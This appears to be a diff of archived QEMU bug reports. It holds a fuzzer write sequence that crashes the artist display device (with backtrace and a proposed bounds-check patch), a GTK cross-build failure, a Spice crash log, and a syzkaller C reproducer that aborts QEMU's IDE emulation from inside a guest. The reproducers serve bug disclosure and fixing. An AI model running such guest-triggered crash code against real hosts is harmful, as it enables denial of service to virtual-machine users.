0xf8100044 0x6d +> writeb 0xf8100000 0x2a +> writeb 0xf8100044 0x40 +> writeb 0xf8100045 0xec +> writew 0xf8100044 0x1210 +> writew 0xf8100044 0x1245 +> writel 0xf8100044 0x101364ff +> writel 0xf81000c4 0xfba0a0a0 +> writel 0xf8100044 0x101364ff +> writel 0xf8100044 0x101364ff +> writel 0xf8100044 0x101364ff +> writel 0xf8100008 0xfba0a0a0 +> writel 0xf8100044 0x4208fba0 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writew 0xf8100000 0x4144 +> writeb 0xf810030e 0xe +> writeb 0xf810030e 0xe +> writeb 0xf810032b 0xe +> writeb 0xf810032b 0xe +> writew 0xf8100010 0x4412 +> writew 0xf81000ca 0x4441 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writeb 0xf8100080 0xe +> writeb 0xf8100080 0xd8 +> writeb 0xf8100080 0x26 +> writeb 0xf8100040 0x80 +> writeb 0xf8100040 0x26 +> writeb 0xf81000c3 0x40 +> writeb 0xf81000ff 0xdf +> writeb 0xf81000c3 0x40 +> writeb 0xf81000ff 0xdf +> writew 0xf8100014 0x4000 +> writeb 0xf8100000 0xe +> writeb 0xf8100000 0x9e +> writeb 0xf8100000 0x3c +> writeb 0xf8100000 0x3c +> writeb 0xf8100000 0x3c +> writew 0xf8100000 0x4144 +> writeb 0xf81000df 0x41 +> writeb 0xf8100007 0x45 +> writeb 0xf81000ff 0xff +> writeb 0xf8100007 0xb4 +> writeb 0xf81000ff 0xff +> writeb 0xf8100007 0xb4 +> writeb 0xf8100007 0xb4 +> writel 0xf8100044 0x10139c05 +> writel 0xf81000c4 0xfba0a0a0 +> writeb 0xf8100604 0x50 +> writeb 0xf8100021 0xe +> writeb 0xf8100021 0xe +> writeb 0xf8100021 0xe +> writeb 0xf8100021 0x90 +> writew 0xf8100010 0x11 +> writew 0xf8100010 0x11 +> writew 0xf8100010 0x11 +> writeb 0xf8100021 0xe +> writeb 0xf8100021 0xe +> writeb 0xf8100021 0xe +> writeb 0xf8100021 0xe +> writeb 0xf8100021 0xe +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writew 0xf8100010 0x4412 +> writeb 0xf8100021 0xe +> writeb 0xf8100021 0xe +> writeb 0xf8100021 0x21 +> writeb 0xf8100021 0x21 +> writeb 0xf8100000 0x0 +> writeb 0xf8100e04 0x46 +> EOF +> +> Program terminated with signal SIGSEGV, Segmentation fault. +> #0 0x000056367b2085c0 in artist_rop8 (s=0x56367d38b510, dst=0x7f9f972fffff <error: Cannot access memory at address 0x7f9f972fffff>, val=0 '\000') at hw/display/artist.c:284 +> 284 *dst &= ~plane_mask; +> (gdb) bt +> #0 0x000056367b2085c0 in artist_rop8 (s=0x56367d38b510, dst=0x7f9f972fffff <error: Cannot access memory at address 0x7f9f972fffff>, val=0 '\000') at hw/display/artist.c:284 +> #1 0x000056367b209325 in draw_line (s=0x56367d38b510, x1=-20480, y1=-1, x2=0, y2=17920, update_start=true, skip_pix=-1, max_pix=-1) at hw/display/artist.c:646 +> #2 0x000056367b2095a0 in draw_line_size (s=0x56367d38b510, update_start=true) at hw/display/artist.c:696 +> #3 0x000056367b20a214 in artist_reg_write (opaque=0x56367d38b510, addr=1052164, val=70, size=1) at hw/display/artist.c:932 +> #4 0x000056367b06ea7c in memory_region_write_accessor (mr=0x56367d38ba10, addr=1052164, value=0x7fff112132d8, size=1, shift=0, mask=255, attrs=...) at memory.c:483 +> #5 0x000056367b06ec33 in access_with_adjusted_size (addr=1052164, value=0x7fff112132d8, size=1, access_size_min=1, access_size_max=4, access_fn= +> 0x56367b06e999 <memory_region_write_accessor>, mr=0x56367d38ba10, attrs=...) at memory.c:540 +> #6 0x000056367b071bb4 in memory_region_dispatch_write (mr=0x56367d38ba10, addr=1052164, data=70, op=MO_8, attrs=...) at memory.c:1477 +> #7 0x000056367b00fe33 in flatview_write_continue (fv=0x56367d6f9fa0, addr=4161801732, attrs=..., ptr=0x7fff112134e0, len=1, addr1=1052164, l=1, mr=0x56367d38ba10) at exec.c:3147 +> #8 0x000056367b00ff81 in flatview_write (fv=0x56367d6f9fa0, addr=4161801732, attrs=..., buf=0x7fff112134e0, len=1) at exec.c:3190 +> #9 0x000056367b0102eb in address_space_write (as=0x56367cff99c0, addr=4161801732, attrs=..., buf=0x7fff112134e0, len=1) at exec.c:3289 +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> + +The crash is avoided using this patch: +-- >8 -- +diff --git a/hw/display/artist.c b/hw/display/artist.c +index 6e17c43f13..fcfd67da47 100644 +--- a/hw/display/artist.c ++++ b/hw/display/artist.c +@@ -563,7 +563,7 @@ static void fill_window(ARTISTState *s, int startx, +int starty, + static void draw_line(ARTISTState *s, int x1, int y1, int x2, int y2, + bool update_start, int skip_pix, int max_pix) + { +- struct vram_buffer *buf; ++ struct vram_buffer *buf = &s->vram_buffer[ARTIST_BUFFER_AP]; + uint8_t color; + int dx, dy, t, e, x, y, incy, diago, horiz; + bool c1; +@@ -571,6 +571,12 @@ static void draw_line(ARTISTState *s, int x1, int +y1, int x2, int y2, + + trace_artist_draw_line(x1, y1, x2, y2); + ++ if (x1 * y1 >= buf->size || x2 * y2 >= buf->size) { ++ qemu_log_mask(LOG_GUEST_ERROR, ++ "draw line (%d,%d) (%d,%d)\n", x1, y1, x2, y2); ++ return; ++ } ++ + if (update_start) { + s->vram_start = (x2 << 16) | y2; + } +@@ -628,7 +634,6 @@ static void draw_line(ARTISTState *s, int x1, int +y1, int x2, int y2, + x = x1; + y = y1; + color = artist_get_color(s); +- buf = &s->vram_buffer[ARTIST_BUFFER_AP]; + + do { + if (c1) { +--- + +I am not sure this is the best fix, IMO the invalid value should be +reported earlier. + + +Fixed in commits 84a7b7741a62ede8ff01ae151e59b2a16bda629b and a501bfc91763d4642390090dd4e6039d67b63702 + diff --git a/results/classifier/deepseek-1/output/archived./1178101 b/results/classifier/deepseek-1/output/archived./1178101 new file mode 100644 index 00000000..550649d9 --- /dev/null +++ b/results/classifier/deepseek-1/output/archived./1178101 @@ -0,0 +1,51 @@ + +Could not enable gtk UI on build for Windows target + +$ ${QEMU_SRC_DIR}/configure --prefix=${BIN_ROOT} --cross-prefix=${HOST_TRIPLET}- --extra-cflags="-I${BIN_ROOT}/include" --extra-ldflags="-L${BIN_ROOT}/lib" --enable-gtk --disable-xen + +ERROR: User requested feature gtk + configure was not able to find it + + +$ cat config.log +# QEMU configure log Thu May 9 13:50:40 CST 2013 +# Configured with: '/home/cauchy/vcs/git/qemu/configure' '--prefix=/home/cauchy/w32' '--cross-prefix=i686-w64-mingw32-' '--extra-cflags=-I/home/cauchy/w32/include' '--extra-ldflags=-L/home/cauchy/w32/lib' '--enable-gtk' '--disable-xen' +# +i686-w64-mingw32-gcc -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -c -o /tmp/qemu-conf--18025-.o /tmp/qemu-conf--18025-.c +/tmp/qemu-conf--18025-.c:2:2: error: #error __linux__ not defined + #error __linux__ not defined + ^ +i686-w64-mingw32-gcc -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -c -o /tmp/qemu-conf--18025-.o /tmp/qemu-conf--18025-.c +i686-w64-mingw32-gcc -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -c -o /tmp/qemu-conf--18025-.o /tmp/qemu-conf--18025-.c +i686-w64-mingw32-gcc -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -g -L/home/cauchy/w32/lib -liberty +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -c -o /tmp/qemu-conf--18025-.o /tmp/qemu-conf--18025-.c +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Werror -Winitializer-overrides -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc: error: unrecognized command line option ‘-Winitializer-overrides’ +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Werror -Wendif-labels -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Werror -Wmissing-include-dirs -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Werror -Wempty-body -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Werror -Wnested-externs -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Werror -Wformat-security -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Werror -Wformat-y2k -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Werror -Winit-self -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Werror -Wignored-qualifiers -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Werror -Wold-style-declaration -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Werror -Wold-style-definition -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Wold-style-definition -Werror -Wtype-limits -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Wold-style-definition -Wtype-limits -Werror -fstack-protector-all -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Wold-style-definition -Wtype-limits -fstack-protector-all -Werror -fno-gcse -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +/tmp/qemu-conf--18025-.c:4:2: error: #error No bug in this compiler. + #error No bug in this compiler. + ^ +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Wold-style-definition -Wtype-limits -fstack-protector-all -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Wold-style-definition -Wtype-limits -fstack-protector-all -c -o /tmp/qemu-conf--18025-.o /tmp/qemu-conf--18025-.c +/tmp/qemu-conf--18025-.c:1:19: fatal error: sched.h: No such file or directory + #include <sched.h> + ^ +compilation terminated. +i686-w64-mingw32-gcc -m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -I/home/cauchy/w32/include -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Wold-style-definition -Wtype-limits -fstack-protector-all -o /tmp/qemu-conf--18025-.exe /tmp/qemu-conf--18025-.c -m32 -g -L/home/cauchy/w32/lib -lz + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/ask!/1469924 b/results/classifier/deepseek-1/output/ask!/1469924 new file mode 100644 index 00000000..815185ee --- /dev/null +++ b/results/classifier/deepseek-1/output/ask!/1469924 @@ -0,0 +1,56 @@ + +qemu-kvm crash when guest os is booting + +this is the command line of qemu. + + +2015-06-30 01:52:59.508+0000: starting up +LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin QEMU_AUDIO_DRV=none /usr/bin/qemu-kvm -name rhel7 -S -machine pc-i440fx-2.1,accel=kvm,usb=off -cpu SandyBridge -m 2048 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid 2a3f1d8a-850d-4e37-aecd-65cbf1e4e415 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/rhel7.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=discard -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot menu=on,strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x5.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x5 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x5.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x5.0x2 -device lsi,id=scsi0,bus=pci.0,addr=0x6 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x3 -drive file=/var/lib/libvirt/images/rhel7.qcow2,if=none,id=drive-ide0-0-0,format=qcow2 -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -drive file=/home/jemmy/Downloads/rhel-server-7.1-x86_64-dvd.iso,if=none,id=drive-ide0-0-1,readonly=on,format=raw -device ide-cd,bus=ide.0,unit=1,drive=drive-ide0-0-1,id=ide0-0-1,bootindex=2 -netdev tap,fd=23,id=hostnet0,vhost=on,vhostfd=24 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:b4:7b:bb,bus=pci.0,addr=0x8 -chardev socket,id=charserial0,host=127.0.0.1,port=4555,telnet,server,nowait -device isa-serial,chardev=charserial0,id=serial0 -chardev file,id=charserial1,path=/tmp/log.txt -device isa-serial,chardev=charserial1,id=serial1 -chardev pty,id=charconsole0 -device virtconsole,chardev=charconsole0,id=console0 -vnc 127.0.0.1:0 -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x7 -msg timestamp=on +char device redirected to /dev/pts/2 (label charconsole0) + + +this is the error log of qemu when crash. + +id 0, group 0, virt start 0, virt end ffffffffffffffff, generation 0, delta 0 +id 1, group 1, virt start 7fbe20000000, virt end 7fbe23ffe000, generation 0, delta 7fbe20000000 +id 2, group 1, virt start 7fbe1c000000, virt end 7fbe20000000, generation 0, delta 7fbe1c000000 +((null):16237): Spice-CRITICAL **: red_memslots.c:69:validate_virt: virtual address out of range + virt=0x0+0x18 slot_id=0 group_id=1 + slot=0x0-0x0 delta=0x0 +Thread 4 (Thread 0x7fbeb3a32700 (LWP 16278)): +#0 0x00007fbec182d407 in ioctl () at /lib64/libc.so.6 +#1 0x00007fbecc80e565 in kvm_vcpu_ioctl () +#2 0x00007fbecc80e61c in kvm_cpu_exec () +#3 0x00007fbecc7fd0a2 in qemu_kvm_cpu_thread_fn () +#4 0x00007fbecb2f652a in start_thread () at /lib64/libpthread.so.0 +#5 0x00007fbec183722d in clone () at /lib64/libc.so.6 +Thread 3 (Thread 0x7fbeb15ff700 (LWP 16287)): +#0 0x00007fbecb2fe1cd in read () at /lib64/libpthread.so.0 +#1 0x00007fbec2a50499 in spice_backtrace_gstack () at /lib64/libspice-server.so.1 +#2 0x00007fbec2a57dae in spice_logv () at /lib64/libspice-server.so.1 +#3 0x00007fbec2a57f05 in spice_log () at /lib64/libspice-server.so.1 +#4 0x00007fbec2a177ff in validate_virt () at /lib64/libspice-server.so.1 +#5 0x00007fbec2a1791e in get_virt () at /lib64/libspice-server.so.1 +#6 0x00007fbec2a17fb9 in red_get_clip_rects () at /lib64/libspice-server.so.1 +#7 0x00007fbec2a1976f in red_get_drawable () at /lib64/libspice-server.so.1 +#8 0x00007fbec2a30332 in red_process_commands.constprop () at /lib64/libspice-server.so.1 +#9 0x00007fbec2a3638a in red_worker_main () at /lib64/libspice-server.so.1 +#10 0x00007fbecb2f652a in start_thread () at /lib64/libpthread.so.0 +#11 0x00007fbec183722d in clone () at /lib64/libc.so.6 +Thread 2 (Thread 0x7fbeb0bff700 (LWP 16289)): +#0 0x00007fbecb2fb590 in pthread_cond_wait@@GLIBC_2.3.2 () at /lib64/libpthread.so.0 +#1 0x00007fbecca954c9 in qemu_cond_wait () +#2 0x00007fbecca3bfe3 in vnc_worker_thread_loop () +#3 0x00007fbecca3c3c8 in vnc_worker_thread () +#4 0x00007fbecb2f652a in start_thread () at /lib64/libpthread.so.0 +#5 0x00007fbec183722d in clone () at /lib64/libc.so.6 +Thread 1 (Thread 0x7fbeccd2ca80 (LWP 16237)): +#0 0x00007fbec182bd51 in ppoll () at /lib64/libc.so.6 +#1 0x00007fbecca4d2ec in qemu_poll_ns () +#2 0x00007fbecca4ca94 in main_loop_wait () +#3 0x00007fbecc7d58dd in main () + +Which version of QEMU are you using? Does the problem still occur with the latest version of QEMU? What kind of guest and host OS are you using? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/ask!/1777315 b/results/classifier/deepseek-1/output/ask!/1777315 new file mode 100644 index 00000000..927657e1 --- /dev/null +++ b/results/classifier/deepseek-1/output/ask!/1777315 @@ -0,0 +1,141 @@ + +IDE short PRDT abort + +Hi, +QEMU 'hw/ide/core.c:871' Denial of Service Vulnerability in version qemu-2.12.0 + +run the program in qemu-2.12.0: +#define _GNU_SOURCE +#include <endian.h> +#include <sys/syscall.h> +#include <unistd.h> +#include <fcntl.h> +#include <stdio.h> +#include <string.h> +#include <sys/stat.h> +#include <stdint.h> +#include <string.h> + +static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2) +{ + if (a0 == 0xc || a0 == 0xb) { + char buf[128]; + sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2); + return open(buf, O_RDWR, 0); + } else { + char buf[1024]; + char* hash; +strncpy(buf, (char*)a0, sizeof(buf) - 1); + buf[sizeof(buf) - 1] = 0; + while ((hash = strchr(buf, '#'))) { + *hash = '0' + (char)(a1 % 10); + a1 /= 10; + } + return open(buf, a2, 0); + } +} + +uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; +void loop() +{ + long res = 0; +memcpy((void*)0x20000000, "/dev/sg#", 9); + res = syz_open_dev(0x20000000, 0, 2); + if (res != -1) + r[0] = res; + res = syscall(__NR_dup2, r[0], r[0]); + if (res != -1) + r[1] = res; +*(uint8_t*)0x20000ec0 = 0; +*(uint8_t*)0x20000ec1 = 0; +*(uint8_t*)0x20000ec2 = 0; +*(uint8_t*)0x20000ec3 = 0; +*(uint32_t*)0x20000ec8 = 0; +*(uint8_t*)0x20000ed8 = 0; +*(uint8_t*)0x20000ed9 = 0; +*(uint8_t*)0x20000eda = 0; +*(uint8_t*)0x20000edb = 0; +memcpy((void*)0x20000ee0, "\x9c\x4d\xe7\xd5\x0a\x62\x43\xa7\x77\x53\x67\xb3", 12); + syscall(__NR_write, r[1], 0x20000ec0, 0x323); +} + +int main() +{ + syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); + loop(); + return 0; +} +this will crash qemu, output information: + qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == s->sg.size' failed. + + +Thanks +owl337 + +Are you going to provide a patch for this to the mailing list? (since you've assigned the bug to yourself) + +Oh no, this is a misunderstanding. + +More Details: +use this script https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh create + wheezy.img +than run: +qemu-system-x86_64 -m 2048 -smp 1 -net nic -net user,host=10.0.2.10,hostfwd=tcp::59199-:22 -display none -serial stdio -no-reboot -enable-kvm -hda /home/icy/linux-master/wheezy.img -snapshot -kernel /home/icy/linux-master/arch/x86/boot/bzImage -append "console=ttyS0 earlyprintk=serial oops=panic nmi_watchdog=panic panic_on_warn=1 panic=86400 ftrace_dump_on_oops=orig_cpu rodata=n vsyscall=native net.ifnames=0 biosdevname=0 kvm-intel.nested=1 kvm-intel.unrestricted_guest=1 kvm-intel.vmm_exclusive=1 kvm-intel.fasteoi=1 kvm-intel.ept=1 kvm-intel.flexpriority=1 kvm-intel.vpid=1 kvm-intel.emulate_invalid_guest_state=1 kvm-intel.eptad=1 kvm-intel.enable_shadow_vmcs=1 kvm-intel.pml=1 kvm-intel.enable_apicv=1 root=/dev/sda" + +bzImage is obtained by compiling v4.17 kernel(I am not sure if it works in other kernel version). + +than execute the program in the virtual machine: ./repro +qemu will crash, output innformation: + qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == s->sg.size' failed. + +this bug influences at least qemu-2.9.94 